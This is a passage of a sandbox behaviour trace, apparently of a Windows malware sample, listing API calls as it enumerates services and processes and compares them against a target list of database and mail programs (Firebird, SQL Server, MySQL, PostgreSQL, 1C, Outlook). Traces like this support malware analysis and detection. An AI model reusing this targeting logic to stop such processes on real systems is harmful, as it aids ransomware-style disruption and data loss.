	[0048.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0048.702] lstrlenW (lpString="SENS") returned 4
	[0048.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0048.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0048.702] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0048.702] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0048.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0048.702] lstrlenW (lpString="ShellHWDetection") returned 16
	[0048.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0048.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0048.702] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0048.702] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0048.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0048.702] lstrlenW (lpString="Spooler") returned 7
	[0048.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0048.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0048.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0048.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0048.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0048.703] lstrlenW (lpString="swprv") returned 5
	[0048.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0048.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0048.703] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0048.703] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0048.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0048.703] lstrlenW (lpString="SysMain") returned 7
	[0048.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0048.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0048.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0048.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0048.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0048.703] lstrlenW (lpString="Themes") returned 6
	[0048.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0048.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0048.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0048.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0048.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0048.703] lstrlenW (lpString="TrkWks") returned 6
	[0048.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0048.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0048.703] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0048.703] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0048.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0048.703] lstrlenW (lpString="UxSms") returned 5
	[0048.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0048.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0048.704] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0048.704] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0048.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0048.704] lstrlenW (lpString="VSS") returned 3
	[0048.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0048.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0048.704] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0048.704] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0048.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0048.704] lstrlenW (lpString="WdiServiceHost") returned 14
	[0048.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0048.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0048.704] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0048.704] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0048.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0048.704] lstrlenW (lpString="WdiSystemHost") returned 13
	[0048.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0048.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0048.704] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0048.704] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0048.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0048.704] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0048.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0048.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0048.704] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0048.704] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0048.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0048.704] lstrlenW (lpString="Winmgmt") returned 7
	[0048.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0048.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0048.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0048.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0048.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0048.705] lstrlenW (lpString="WPDBusEnum") returned 10
	[0048.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0048.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0048.705] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0048.705] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0048.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0048.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ea0058 | out: hHeap=0x4f0000) returned 1
	[0048.705] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178
	[0048.707] Process32FirstW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0048.708] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0048.709] lstrlenW (lpString="System") returned 6
	[0048.709] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0048.709] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0048.709] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0048.709] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0048.709] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0048.709] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0048.709] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0048.709] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0048.709] lstrlenW (lpString="smss.exe") returned 8
	[0048.710] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0048.710] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0048.710] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0048.710] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0048.710] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0048.710] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0048.710] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0048.710] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0048.710] lstrlenW (lpString="csrss.exe") returned 9
	[0048.710] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0048.710] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0048.711] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0048.711] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0048.711] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0048.711] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0048.711] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0048.711] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0048.712] lstrlenW (lpString="wininit.exe") returned 11
	[0048.712] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0048.712] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0048.712] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0048.712] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0048.713] lstrlenW (lpString="csrss.exe") returned 9
	[0048.713] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0048.713] lstrlenW (lpString="winlogon.exe") returned 12
	[0048.713] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0048.714] lstrlenW (lpString="services.exe") returned 12
	[0048.714] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0048.715] lstrlenW (lpString="lsass.exe") returned 9
	[0048.715] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0048.716] lstrlenW (lpString="lsm.exe") returned 7
	[0048.716] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.716] lstrlenW (lpString="svchost.exe") returned 11
	[0048.717] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.717] lstrlenW (lpString="svchost.exe") returned 11
	[0048.717] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.718] lstrlenW (lpString="svchost.exe") returned 11
	[0048.718] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.719] lstrlenW (lpString="svchost.exe") returned 11
	[0048.719] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.719] lstrlenW (lpString="svchost.exe") returned 11
	[0048.720] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0048.720] lstrlenW (lpString="audiodg.exe") returned 11
	[0048.720] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.721] lstrlenW (lpString="svchost.exe") returned 11
	[0048.721] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.722] lstrlenW (lpString="svchost.exe") returned 11
	[0048.722] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0048.722] lstrlenW (lpString="dwm.exe") returned 7
	[0048.722] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0048.723] lstrlenW (lpString="explorer.exe") returned 12
	[0048.723] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0048.724] lstrlenW (lpString="spoolsv.exe") returned 11
	[0048.724] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0048.724] lstrlenW (lpString="taskhost.exe") returned 12
	[0048.724] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.725] lstrlenW (lpString="svchost.exe") returned 11
	[0048.725] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0048.726] lstrlenW (lpString="taskeng.exe") returned 11
	[0048.726] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0048.726] lstrlenW (lpString="taskhost.exe") returned 12
	[0048.727] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0048.727] lstrlenW (lpString="program.exe") returned 11
	[0048.727] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0048.728] lstrlenW (lpString="felt.exe") returned 8
	[0048.728] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0048.729] lstrlenW (lpString="bibliography.exe") returned 16
	[0048.729] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0048.729] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0048.729] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0048.730] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0048.730] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0048.731] lstrlenW (lpString="converter.exe") returned 13
	[0048.731] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0049.825] lstrlenW (lpString="once.exe") returned 8
	[0049.825] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0049.826] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0049.826] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0049.827] lstrlenW (lpString="always.exe") returned 10
	[0049.827] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0049.828] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0049.828] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0049.829] lstrlenW (lpString="donated.exe") returned 11
	[0049.829] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0049.830] lstrlenW (lpString="nowherepike.exe") returned 15
	[0049.830] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0049.830] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0049.830] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0049.831] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0049.831] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0049.832] lstrlenW (lpString="allowance.exe") returned 13
	[0049.832] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0049.832] lstrlenW (lpString="conducting affect.exe") returned 21
	[0049.832] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0049.833] lstrlenW (lpString="plaintiff.exe") returned 13
	[0049.833] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0049.834] lstrlenW (lpString="dialog.exe") returned 10
	[0049.834] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0049.835] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0049.835] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0049.835] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0049.835] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0049.836] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0049.836] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0049.837] lstrlenW (lpString="swpesp.exe") returned 10
